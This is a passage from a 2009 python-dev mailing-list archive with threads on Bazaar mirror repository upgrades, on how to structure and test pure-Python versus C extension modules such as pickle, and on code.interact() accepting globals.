iQCVAwUBSaBmLHEjvBPtnXfVAQJ2lAP+MFbyWa0j3ups4LFiyyLMMZ3jUKsaynFr v7CzOMnZQ4QRQoMyM9wlpQKha0VUUdr3dqS/w6O6fRzIT0ROzj/7I1glsW+4Yh5f ho1vCp41wZ+zUxjDTchho+4Qjo999w9l5rtn6N/5i2WM/0sut9xLKHEGO+EbJtEN in+wNbIDuYY= =Gz+m -----END PGP SIGNATURE----- From p.f.moore at gmail.com Sat Feb 21 22:11:10 2009 From: p.f.moore at gmail.com (Paul Moore) Date: Sat, 21 Feb 2009 21:11:10 +0000 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: <49A041F3.60909@v.loewis.de> References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org> <5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com> <878wo05lkc.fsf@xemacs.org> <5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com> <874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de> <49A03D9C.8050604@palladion.com> <49A041F3.60909@v.loewis.de> Message-ID: <79990c6b0902211311o504fe0b0w539131aff38090ce@mail.gmail.com> 2009/2/21 "Martin v. L?wis" : >> Wouldn't such hypothetical core Python developers be able to build and >> run their own local copy of bzr, using that self-compiled Python? > > It has been hypothetical for a while, but it never was about core > developers. Given that it *is* all hypothetical by now, if someone is interested in hacking on Python, why should they have to build their own copy of the DVCS to do so? Paul. PS Just for my own information, am I correct in thinking that it is *only* Bazaar in the (D)VCS world that has this problem, to any real extent? I know old Mercurial clients can interact with newer servers (ie, the wire protocol hasn't changed), I'm fairly sure that older Subversion clients can talk to newer servers (at least, I've never cared what client version I'm running). I've not heard of this type of discussion around Git (but my experience is limited). But Bazaar seems very prone to this "upgrade the server and the clients need to be upgraded too" cycle. From brett at python.org Sat Feb 21 22:17:49 2009 From: brett at python.org (Brett Cannon) Date: Sat, 21 Feb 2009 13:17:49 -0800 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: <20090221194331.12555.1060925659.divmod.xquotient.4677@weber.divmod.com> References: <20090221171749.12853.1251500684.divmod.quotient.12469@henry.divmod.com> <20090221194331.12555.1060925659.divmod.xquotient.4677@weber.divmod.com> Message-ID: On Sat, Feb 21, 2009 at 11:43, wrote: > On 07:07 pm, brett at python.org wrote: > >> On Sat, Feb 21, 2009 at 09:17, Jean-Paul Calderone > >wrote: >> > > But there is another issue with this: the pure Python code will never call >>>> the extension code because the globals will be bound to _pypickle and >>>> not >>>> _pickle. So if you have something like:: >>>> >>> > # _pypickle >>>> def A(): return _B() >>>> def _B(): return -13 >>>> >>> > # _pickle >>>> def _B(): return 42 >>>> >>> > # pickle >>>> from _pypickle import * >>>> try: from _pickle import * >>>> except ImportError: pass >>>> >>> > This is really the same as any other high-level/low-level >>> library split. It doesn't matter that in this case, one >>> low-level implementation is provided as an extension module. >>> Importing the low-level APIs from another module and then >>> using them to implement high-level APIs is a pretty common, >>> simple, well-understood technique which is quite applicable >>> here. >>> >> > But that doesn't provide a clear way, short of screwing with sys.modules, >> to >> get at just the pure Python implementation for testing when the extensions >> are also present. The key point in trying to figure this out is to >> facilitate testing since the standard library already uses the import * >> trick in a couple of places. >> > > You don't have to screw with sys.modules. The way I would deal with > testing this particular interaction would be a setUp that replaces pickle._A > with _pypickle._A, and a tearDown that restores the original one. > > Twisted's TestCase has specific support for this. You would spell it like > this: > > import _pypickle > # ... > testCase.patch(pickle, '_A', _pypickle._A) > > You can read more about this method here: > > > http://python.net/crew/mwh/apidocs/twisted.trial.unittest.TestCase.html#patch My worry with this approach is that while this works nicely if you are only overriding a single function, having to do this for all functions and classes in order to make sure you are testing the extension code with all the extension code instead of intermingled extension/Python code. So a function that did this automatically for the entire module would be needed, which is like what I proposed in my use_extension function. I am seeing two approaches emerging. One is where pickle contains all Python code and then uses something like use_extension to make sure the original Python objects are still reachable at some point. This has the drawback that you have to use some function to make the extensions happen and there is some extra object storage. The other approach is having pickle contain code known not to be overridden by anyone, import _pypickle for stuff that may be overridden, and then import _pickle for whatever is available. This approach has the perk of using a standard practice for how to pull in different implementation. But the drawback, thanks to how globals are bound, is that any code pulled in from _pickle/_pypickle will not be able to call into other optimized code; it's a take or leave it once the call chain enters one of those modules as they will always call the implementations in the module they originate from. -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From brett at python.org Sat Feb 21 22:19:10 2009 From: brett at python.org (Brett Cannon) Date: Sat, 21 Feb 2009 13:19:10 -0800 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: <20090221193250.12853.796903955.divmod.quotient.12520@henry.divmod.com> References: <20090221193250.12853.796903955.divmod.quotient.12520@henry.divmod.com> Message-ID: On Sat, Feb 21, 2009 at 11:32, Jean-Paul Calderone wrote: > On Sat, 21 Feb 2009 11:07:07 -0800, Brett Cannon wrote: > >> On Sat, Feb 21, 2009 at 09:17, Jean-Paul Calderone > >wrote: >> >> On Fri, 20 Feb 2009 13:45:26 -0800, Brett Cannon >>> wrote: >>> >>> On Fri, Feb 20, 2009 at 12:53, Aahz wrote: >>>> >>>> On Fri, Feb 20, 2009, Brett Cannon wrote: >>>> >>>>> > On Fri, Feb 20, 2009 at 12:37, Brett Cannon >>>>> wrote: >>>>> >> On Fri, Feb 20, 2009 at 12:31, Daniel Stutzbach < >>>>> >> daniel at stutzbachenterprises.com> wrote: >>>>> >>> >>>>> >>> A slight change would make it work for modules where only key >>>>> functions >>>>> >>> have been rewritten. For example, pickle.py could read: >>>>> >>> >>>>> >>> from _pypickle import * >>>>> >>> try: from _pickle import * >>>>> >>> except ImportError: pass >>>>> >> >>>>> >> True, although that still suffers from the problem of overwriting >>>>> things >>>>> >> like __name__, __file__, etc. >>>>> > >>>>> > Actually, I take that back; the IMPORT_STAR opcode doesn't pull in >>>>> anything >>>>> > starting with an underscore. So while this alleviates the worry >>>>> above, >>>>> it >>>>> > does mean that anything that gets rewritten needs to have a name that >>>>> does >>>>> > not lead with an underscore for this to work. Is that really an >>>>> acceptable >>>>> > compromise for a simple solution like this? >>>>> >>>>> Doesn't __all__ control this? >>>>> >>>>> >>>> >>>> If you define it, yes. >>>> >>>> But there is another issue with this: the pure Python code will never >>>> call >>>> the extension code because the globals will be bound to _pypickle and >>>> not >>>> _pickle. So if you have something like:: >>>> >>>> # _pypickle >>>> def A(): return _B() >>>> def _B(): return -13 >>>> >>>> # _pickle >>>> def _B(): return 42 >>>> >>>> # pickle >>>> from _pypickle import * >>>> try: from _pickle import * >>>> except ImportError: pass >>>> >>>> If you import pickle and call pickle.A() you will get -13 which is not >>>> what >>>> you are after. >>>> >>>> >>> If pickle and _pypickle are both Python modules, and _pypickle.A is >>> intended >>> to be used all the time, regardless of whether _pickle is available, then >>> there's not really any reason to implement A in _pypickle. Just >>> implement >>> it >>> in pickle. Then import whatever optionally fast thing it depends on from >>> _pickle, if possible, and fall-back to the less fast thing in _pypickle >>> otherwise. >>> >>> This is really the same as any other high-level/low-level library split. >>> It >>> doesn't matter that in this case, one low-level implementation is >>> provided >>> as >>> an extension module. Importing the low-level APIs from another module >>> and >>> then using them to implement high-level APIs is a pretty common, simple, >>> well-understood technique which is quite applicable here. >>> >> >> >> But that doesn't provide a clear way, short of screwing with sys.modules, >> to >> get at just the pure Python implementation for testing when the extensions >> are also present. The key point in trying to figure this out is to >> facilitate testing since the standard library already uses the import * >> trick in a couple of places. >> > > "screwing with sys.modules" isn't a goal. It's a means of achieving a > goal, > and not a particularly good one. > > I guess I overedited my message, sorry about that. Originally I included > an example of how to parameterize the high-level API to make it easier to > test (or use) with any implementation one wants. It went something like > this: > > try: > import _pickle as _lowlevel > except ImportError: > import _pypickle as _lowlevel > > class Pickler: > def __init__(self, implementation=None): > if implementation is None: > implementation = _lowlevel > self.dump = implementation.dump > self.load = implementation.load > ... > > Perhaps this isn't /exactly/ how pickle wants to work - I haven't looked at > how the C extension and the Python code fit together - but the general idea > should apply regardless of those details. But this requires all VMs to either implement as an extension the same thing, or nothing at all. What if Jython only wants to re-implement 'load' and not 'dump'? -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From steven.bethard at gmail.com Sat Feb 21 22:36:16 2009 From: steven.bethard at gmail.com (Steven Bethard) Date: Sat, 21 Feb 2009 13:36:16 -0800 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: <79990c6b0902211311o504fe0b0w539131aff38090ce@mail.gmail.com> References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org> <5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com> <878wo05lkc.fsf@xemacs.org> <5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com> <874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de> <49A03D9C.8050604@palladion.com> <49A041F3.60909@v.loewis.de> <79990c6b0902211311o504fe0b0w539131aff38090ce@mail.gmail.com> Message-ID: On Sat, Feb 21, 2009 at 1:11 PM, Paul Moore wrote: > PS Just for my own information, am I correct in thinking that it is > *only* Bazaar in the (D)VCS world that has this problem, to any real > extent? I know old Mercurial clients can interact with newer servers > (ie, the wire protocol hasn't changed), I'm fairly sure that older > Subversion clients can talk to newer servers (at least, I've never > cared what client version I'm running). I've definitely had an SVN server tell me that I needed to upgrade my client to 1.5. Steve -- I'm not *in*-sane. Indeed, I am so far *out* of sane that you appear a tiny blip on the distant coast of sanity. --- Bucky Katt, Get Fuzzy From ncoghlan at gmail.com Sat Feb 21 23:05:09 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Sun, 22 Feb 2009 08:05:09 +1000 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: References: <20090221171749.12853.1251500684.divmod.quotient.12469@henry.divmod.com> <20090221194331.12555.1060925659.divmod.xquotient.4677@weber.divmod.com> Message-ID: <49A07A95.7000604@gmail.com> Brett Cannon wrote: > > > On Sat, Feb 21, 2009 at 11:43, > wrote: > > On 07:07 pm, brett at python.org wrote: > > On Sat, Feb 21, 2009 at 09:17, Jean-Paul Calderone > >wrote: > > > But there is another issue with this: the pure Python > code will never call > the extension code because the globals will be bound to > _pypickle and not > _pickle. So if you have something like:: > > > # _pypickle > def A(): return _B() > def _B(): return -13 > > > # _pickle > def _B(): return 42 > > > # pickle > from _pypickle import * > try: from _pickle import * > except ImportError: pass > > > This is really the same as any other high-level/low-level > library split. It doesn't matter that in this case, one > low-level implementation is provided as an extension module. > Importing the low-level APIs from another module and then > using them to implement high-level APIs is a pretty common, > simple, well-understood technique which is quite applicable > here. > > > But that doesn't provide a clear way, short of screwing with > sys.modules, to > get at just the pure Python implementation for testing when the > extensions > are also present. The key point in trying to figure this out is to > facilitate testing since the standard library already uses the > import * > trick in a couple of places. > > > You don't have to screw with sys.modules. The way I would deal with > testing this particular interaction would be a setUp that replaces > pickle._A with _pypickle._A, and a tearDown that restores the > original one. > > Twisted's TestCase has specific support for this. You would spell > it like this: > > import _pypickle > # ... > testCase.patch(pickle, '_A', _pypickle._A) > > You can read more about this method here: > > http://python.net/crew/mwh/apidocs/twisted.trial.unittest.TestCase.html#patch > > > My worry with this approach is that while this works nicely if you are > only overriding a single function, having to do this for all functions > and classes in order to make sure you are testing the extension code > with all the extension code instead of intermingled extension/Python > code. So a function that did this automatically for the entire module > would be needed, which is like what I proposed in my use_extension function. > > I am seeing two approaches emerging. One is where pickle contains all > Python code and then uses something like use_extension to make sure the > original Python objects are still reachable at some point. This has the > drawback that you have to use some function to make the extensions > happen and there is some extra object storage. > > The other approach is having pickle contain code known not to be > overridden by anyone, import _pypickle for stuff that may be overridden, > and then import _pickle for whatever is available. This approach has the > perk of using a standard practice for how to pull in different > implementation. But the drawback, thanks to how globals are bound, is > that any code pulled in from _pickle/_pypickle will not be able to call > into other optimized code; it's a take or leave it once the call chain > enters one of those modules as they will always call the implementations > in the module they originate from. I'd actually say there's a third option which is still viable: continue with the current Foo/_Foo practice for optimised modules, and provide a function in test.support to get the original Python version's code out of Foo. That actually has the virtue of directly testing that the ImportError for the missing module is being trapped correctly. Cheers, Nick. -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From barry at python.org Sat Feb 21 23:39:55 2009 From: barry at python.org (Barry Warsaw) Date: Sat, 21 Feb 2009 17:39:55 -0500 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: <79990c6b0902211311o504fe0b0w539131aff38090ce@mail.gmail.com> References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org> <5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com> <878wo05lkc.fsf@xemacs.org> <5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com> <874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de> <49A03D9C.8050604@palladion.com> <49A041F3.60909@v.loewis.de> <79990c6b0902211311o504fe0b0w539131aff38090ce@mail.gmail.com> Message-ID: <78F10A13-54F3-42B8-914C-0EF80C60C904@python.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Feb 21, 2009, at 4:11 PM, Paul Moore wrote: > PS Just for my own information, am I correct in thinking that it is > *only* Bazaar in the (D)VCS world that has this problem, to any real > extent? I know old Mercurial clients can interact with newer servers > (ie, the wire protocol hasn't changed), I'm fairly sure that older > Subversion clients can talk to newer servers (at least, I've never > cared what client version I'm running). I've not heard of this type of > discussion around Git (but my experience is limited). But Bazaar seems > very prone to this "upgrade the server and the clients need to be > upgraded too" cycle. That's not what we're talking about. This is a case of older clients not understanding a newer repository format. Barry -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) iQCVAwUBSaCCu3EjvBPtnXfVAQIafgP/VVxkAWhvpyagtYudwWXMTq0ErDZ+GoH4 JvwWHZqpp3/DlMwhXLptNrctaPQtdja5dGilSkVokv75OVYj8MZPiofa7peB2kGG Bi6pdN9ikf3sMU2PNnw3cCHAesdrSWkCAfjYO+AnXH/jn2PY6NdLLGenOvIOKlUu 66xGyep1bT4= =DR0/ -----END PGP SIGNATURE----- From p.f.moore at gmail.com Sun Feb 22 00:06:19 2009 From: p.f.moore at gmail.com (Paul Moore) Date: Sat, 21 Feb 2009 23:06:19 +0000 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: <78F10A13-54F3-42B8-914C-0EF80C60C904@python.org> References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com> <878wo05lkc.fsf@xemacs.org> <5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com> <874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de> <49A03D9C.8050604@palladion.com> <49A041F3.60909@v.loewis.de> <79990c6b0902211311o504fe0b0w539131aff38090ce@mail.gmail.com> <78F10A13-54F3-42B8-914C-0EF80C60C904@python.org> Message-ID: <79990c6b0902211506j7644f8a3ve0839ff630f4fe91@mail.gmail.com> 2009/2/21 Barry Warsaw : > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Feb 21, 2009, at 4:11 PM, Paul Moore wrote: > >> PS Just for my own information, am I correct in thinking that it is >> *only* Bazaar in the (D)VCS world that has this problem, to any real >> extent? I know old Mercurial clients can interact with newer servers >> (ie, the wire protocol hasn't changed), I'm fairly sure that older >> Subversion clients can talk to newer servers (at least, I've never >> cared what client version I'm running). I've not heard of this type of >> discussion around Git (but my experience is limited). But Bazaar seems >> very prone to this "upgrade the server and the clients need to be >> upgraded too" cycle. > > That's not what we're talking about. This is a case of older clients not > understanding a newer repository format. Sorry, I'm confused. Isn't that what I said? Clients (who still use the - older - version they have at the moment) needing to upgrade to be able to interact with the public repository (server) if that repository is upgraded to a newer version? When you say "repository" and I say "server", are we not discussing the same thing (the Bazaar branches hosted at code.python.org)? Paul. From rocky at gnu.org Sun Feb 22 00:20:26 2009 From: rocky at gnu.org (Rocky Bernstein) Date: Sat, 21 Feb 2009 18:20:26 -0500 Subject: [Python-Dev] code.interact() locals + globals? Message-ID: <6cd6de210902211520t5fa6d915k949953f4e5736197@mail.gmail.com> I notice code.interact() in Python 2.6 has a parameter for locals but not globals. Should it? Ultimately, *exec* is used underneath so I don't see a technical reason why it couldn't add a global parameter. Also, although one could pass in a dictionary that is the merger or update() of locals() and globals(), this has a couple of downsides. First, if the intention is to allow update of local and global variables, combining the two into a single dictionary wreaks havoc. Even if one doesn't care about this, when the underlying *exec* is performed it will see different and wrong values for the functions locals() and globals() among other problems of this kind. -------------- next part -------------- An HTML attachment was scrubbed... URL: From aahz at pythoncraft.com Sun Feb 22 00:46:46 2009 From: aahz at pythoncraft.com (Aahz) Date: Sat, 21 Feb 2009 15:46:46 -0800 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: References: <20090221171749.12853.1251500684.divmod.quotient.12469@henry.divmod.com> <20090221194331.12555.1060925659.divmod.xquotient.4677@weber.divmod.com> Message-ID: <20090221234646.GA19226@panix.com> On Sat, Feb 21, 2009, Brett Cannon wrote: > > I am seeing two approaches emerging. One is where pickle contains all > Python code and then uses something like use_extension to make sure > the original Python objects are still reachable at some point. This > has the drawback that you have to use some function to make the > extensions happen and there is some extra object storage. > > The other approach is having pickle contain code known not to > be overridden by anyone, import _pypickle for stuff that may be > overridden, and then import _pickle for whatever is available. This > approach has the perk of using a standard practice for how to pull in > different implementation. But the drawback, thanks to how globals are > bound, is that any code pulled in from _pickle/_pypickle will not be > able to call into other optimized code; it's a take or leave it once > the call chain enters one of those modules as they will always call > the implementations in the module they originate from. To what extent do we care about being able to select Python-only on a per-module basis, particularly in the face of threaded imports? That is, we could have a sys.python_only attribute that gets checked on import. That's simple and direct, and even allows per-module switching if the application really cares and import doesn't need to worry about threads. Alternatively, sys.python_only could be a set, but that gets ugly about setting from the application. (The module checks to see whether it's listed in sys.python_only.) Maybe we should move this discussion to python-ideas for now to kick around really oddball suggestions? -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ Weinberg's Second Law: If builders built buildings the way programmers wrote programs, then the first woodpecker that came along would destroy civilization. From kevin at bud.ca Sun Feb 22 00:35:59 2009 From: kevin at bud.ca (Kevin Teague) Date: Sat, 21 Feb 2009 15:35:59 -0800 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: References: Message-ID: > > > So go ahead and tear this apart so that we can hopefully reach a > consensus that makes sense so that at least testing can easily be > done. > If I was developing an application and wanted to deal with two different versions of the same library, I would simply make sure that the version I wanted to use was first on sys.path. Perhaps something such as: lib/python-3.0/libdynload/ # extension module implementations lib/python-3.0/libpython/ # pure python implementations Then in the test suite simply ensure that either the Python implementation or the C implementation is first on sys.path. Both directories would contain an _pickle.py module, and then pickle.py could be changed from: try: from _pickle import * except ImportError: Pickler, Unpickler = _Pickler, _Unpickler To just: from _pickle import Pickler, Unpickler By default libdynload would be first on sys.path so that extension modules would be imported first if available, otherwise it would fallback to the pure Python versions. The test suite could then add/ remove libdynload from sys.path as needed. Well, OK, so this is a pretty big change as to how standard lib files are structured - so maybe there are quite a few reasons why this isn't feasable ... but it does make things a lot simpler and gets rid of the need for performing any magic with the loaded modules in the test suite. From brett at python.org Sun Feb 22 01:56:48 2009 From: brett at python.org (Brett Cannon) Date: Sat, 21 Feb 2009 16:56:48 -0800 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: <20090221234646.GA19226@panix.com> References: <20090221171749.12853.1251500684.divmod.quotient.12469@henry.divmod.com> <20090221194331.12555.1060925659.divmod.xquotient.4677@weber.divmod.com> <20090221234646.GA19226@panix.com> Message-ID: On Sat, Feb 21, 2009 at 15:46, Aahz wrote: > On Sat, Feb 21, 2009, Brett Cannon wrote: > > > > I am seeing two approaches emerging. One is where pickle contains all > > Python code and then uses something like use_extension to make sure > > the original Python objects are still reachable at some point. This > > has the drawback that you have to use some function to make the > > extensions happen and there is some extra object storage. > > > > The other approach is having pickle contain code known not to > > be overridden by anyone, import _pypickle for stuff that may be > > overridden, and then import _pickle for whatever is available. This > > approach has the perk of using a standard practice for how to pull in > > different implementation. But the drawback, thanks to how globals are > > bound, is that any code pulled in from _pickle/_pypickle will not be > > able to call into other optimized code; it's a take or leave it once > > the call chain enters one of those modules as they will always call > > the implementations in the module they originate from. > > To what extent do we care about being able to select Python-only on a > per-module basis, particularly in the face of threaded imports? That is, > we could have a sys.python_only attribute that gets checked on import. > That's simple and direct, and even allows per-module switching if the > application really cares and import doesn't need to worry about threads. > > Alternatively, sys.python_only could be a set, but that gets ugly about > setting from the application. (The module checks to see whether it's > listed in sys.python_only.) > > Maybe we should move this discussion to python-ideas for now to kick > around really oddball suggestions? This is all about testing. If a change is made to some extension code it should be mirrored in the Python code and vice-versa. -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From brett at python.org Sun Feb 22 01:59:56 2009 From: brett at python.org (Brett Cannon) Date: Sat, 21 Feb 2009 16:59:56 -0800 Subject: [Python-Dev] code.interact() locals + globals? In-Reply-To: <6cd6de210902211520t5fa6d915k949953f4e5736197@mail.gmail.com> References: <6cd6de210902211520t5fa6d915k949953f4e5736197@mail.gmail.com> Message-ID: On Sat, Feb 21, 2009 at 15:20, Rocky Bernstein wrote: > I notice code.interact() in Python 2.6 has a parameter for locals but not > globals. Should it? > What is code.interact()?:: >>> (lambda: None).__code__.interact Traceback (most recent call last): File "", line 1, in AttributeError: 'code' object has no attribute 'interact' -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From brett at python.org Sun Feb 22 02:00:54 2009 From: brett at python.org (Brett Cannon) Date: Sat, 21 Feb 2009 17:00:54 -0800 Subject: [Python-Dev] code.interact() locals + globals? In-Reply-To: References: <6cd6de210902211520t5fa6d915k949953f4e5736197@mail.gmail.com> Message-ID: On Sat, Feb 21, 2009 at 16:59, Brett Cannon wrote: > > > On Sat, Feb 21, 2009 at 15:20, Rocky Bernstein wrote: > >> I notice code.interact() in Python 2.6 has a parameter for locals but not >> globals. Should it? >> > > What is code.interact()?:: > > >>> (lambda: None).__code__.interact > Traceback (most recent call last): > File "", line 1, in > AttributeError: 'code' object has no attribute 'interact' > nm, I figured out you mean the code module. -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From tseaver at palladion.com Sun Feb 22 02:13:23 2009 From: tseaver at palladion.com (Tres Seaver) Date: Sat, 21 Feb 2009 20:13:23 -0500 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: <79990c6b0902211506j7644f8a3ve0839ff630f4fe91@mail.gmail.com> References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com> <878wo05lkc.fsf@xemacs.org> <5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com> <874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de> <49A03D9C.8050604@palladion.com> <49A041F3.60909@v.loewis.de> <79990c6b0902211311o504fe0b0w539131aff38090ce@mail.gmail.com> <78F10A13-54F3-42B8-914C-0EF80C60C904@python.org> <79990c6b0902211506j7644f8a3ve0839ff630f4fe91@mail.gmail.com> Message-ID: <49A0A6B3.5060805@palladion.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Paul Moore wrote: > 2009/2/21 Barry Warsaw : >> -----BEGIN PGP SIGNED MESSAGE----- >> Hash: SHA1 >> >> On Feb 21, 2009, at 4:11 PM, Paul Moore wrote: >> >>> PS Just for my own information, am I correct in thinking that it is >>> *only* Bazaar in the (D)VCS world that has this problem, to any real >>> extent? I know old Mercurial clients can interact with newer servers >>> (ie, the wire protocol hasn't changed), I'm fairly sure that older >>> Subversion clients can talk to newer servers (at least, I've never >>> cared what client version I'm running). I've not heard of this type of >>> discussion around Git (but my experience is limited). But Bazaar seems >>> very prone to this "upgrade the server and the clients need to be >>> upgraded too" cycle. >> That's not what we're talking about. This is a case of older clients not >> understanding a newer repository format. > > Sorry, I'm confused. Isn't that what I said? Clients (who still use > the - older - version they have at the moment) needing to upgrade to > be able to interact with the public repository (server) if that > repository is upgraded to a newer version? When you say "repository" > and I say "server", are we not discussing the same thing (the Bazaar > branches hosted at code.python.org)? This has been true for a number of cases over the years: whether the "repostiory format", or the wire protocol, sometimes changes which materially *improve* the user's experience may require upgrading the client on the user's machine. In the case of SVN, upgrading to 1.5 gets vastly better merging support; in the case ob bzr, the win is performance when working against a large tree. Given that all the DVCS support is experimental at this point, nobody is being *blocked* from hacking on the Python core by Barry's proposed chnage. He was trying to find out if *real* users of the bzr tree would be hurt by the repository format upgrade, rather than hypothetical ones. AFAICS, no real user (one already using bzr to work with the Python tree) has objected. Tres. - -- =================================================================== Tres Seaver +1 540-429-0999 tseaver at palladion.com Palladion Software "Excellence by Design" http://palladion.com -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFJoKaz+gerLs4ltQ4RAg4XAJ9zP0HU0S8xeaHsThxJ9/MJgpbztQCeINLH ar5pu9gP3tXdgHtOf3HGyWU= =4XLm -----END PGP SIGNATURE----- From tseaver at palladion.com Sun Feb 22 02:13:23 2009 From: tseaver at palladion.com (Tres Seaver) Date: Sat, 21 Feb 2009 20:13:23 -0500 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: <79990c6b0902211506j7644f8a3ve0839ff630f4fe91@mail.gmail.com> References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com> <878wo05lkc.fsf@xemacs.org> <5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com> <874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de> <49A03D9C.8050604@palladion.com> <49A041F3.60909@v.loewis.de> <79990c6b0902211311o504fe0b0w539131aff38090ce@mail.gmail.com> <78F10A13-54F3-42B8-914C-0EF80C60C904@python.org> <79990c6b0902211506j7644f8a3ve0839ff630f4fe91@mail.gmail.com> Message-ID: <49A0A6B3.5060805@palladion.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Paul Moore wrote: > 2009/2/21 Barry Warsaw : >> -----BEGIN PGP SIGNED MESSAGE----- >> Hash: SHA1 >> >> On Feb 21, 2009, at 4:11 PM, Paul Moore wrote: >> >>> PS Just for my own information, am I correct in thinking that it is >>> *only* Bazaar in the (D)VCS world that has this problem, to any real >>> extent? I know old Mercurial clients can interact with newer servers >>> (ie, the wire protocol hasn't changed), I'm fairly sure that older >>> Subversion clients can talk to newer servers (at least, I've never >>> cared what client version I'm running). I've not heard of this type of >>> discussion around Git (but my experience is limited). But Bazaar seems >>> very prone to this "upgrade the server and the clients need to be >>> upgraded too" cycle. >> That's not what we're talking about. This is a case of older clients not >> understanding a newer repository format. > > Sorry, I'm confused. Isn't that what I said? Clients (who still use > the - older - version they have at the moment) needing to upgrade to > be able to interact with the public repository (server) if that > repository is upgraded to a newer version? When you say "repository" > and I say "server", are we not discussing the same thing (the Bazaar > branches hosted at code.python.org)? This has been true for a number of cases over the years: whether the "repostiory format", or the wire protocol, sometimes changes which materially *improve* the user's experience may require upgrading the client on the user's machine. In the case of SVN, upgrading to 1.5 gets vastly better merging support; in the case ob bzr, the win is performance when working against a large tree. Given that all the DVCS support is experimental at this point, nobody is being *blocked* from hacking on the Python core by Barry's proposed chnage. He was trying to find out if *real* users of the bzr tree would be hurt by the repository format upgrade, rather than hypothetical ones. AFAICS, no real user (one already using bzr to work with the Python tree) has objected. Tres. - -- =================================================================== Tres Seaver +1 540-429-0999 tseaver at palladion.com Palladion Software "Excellence by Design" http://palladion.com -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFJoKaz+gerLs4ltQ4RAg4XAJ9zP0HU0S8xeaHsThxJ9/MJgpbztQCeINLH ar5pu9gP3tXdgHtOf3HGyWU= =4XLm -----END PGP SIGNATURE----- From steve at holdenweb.com Sun Feb 22 02:56:21 2009 From: steve at holdenweb.com (Steve Holden) Date: Sat, 21 Feb 2009 20:56:21 -0500 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org> <5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com> <878wo05lkc.fsf@xemacs.org> <5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com> <874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de> <49A03D9C.8050604@palladion.com> <49A041F3.60909@v.loewis.de> <79990c6b0902211311o504fe0b0w539131aff38090ce@mail.gmail.com> Message-ID: Steven Bethard wrote: > On Sat, Feb 21, 2009 at 1:11 PM, Paul Moore wrote: >> PS Just for my own information, am I correct in thinking that it is >> *only* Bazaar in the (D)VCS world that has this problem, to any real >> extent? I know old Mercurial clients can interact with newer servers >> (ie, the wire protocol hasn't changed), I'm fairly sure that older >> Subversion clients can talk to newer servers (at least, I've never >> cared what client version I'm running). > > I've definitely had an SVN server tell me that I needed to upgrade my > client to 1.5. Interestingly, I've had 1.4 servers tell me I shouldn't have upgraded my client to 1.5, which is a little tedious = particularly as the information comes in the form of a hard-to-decipher error message and a refusal to work. So much for 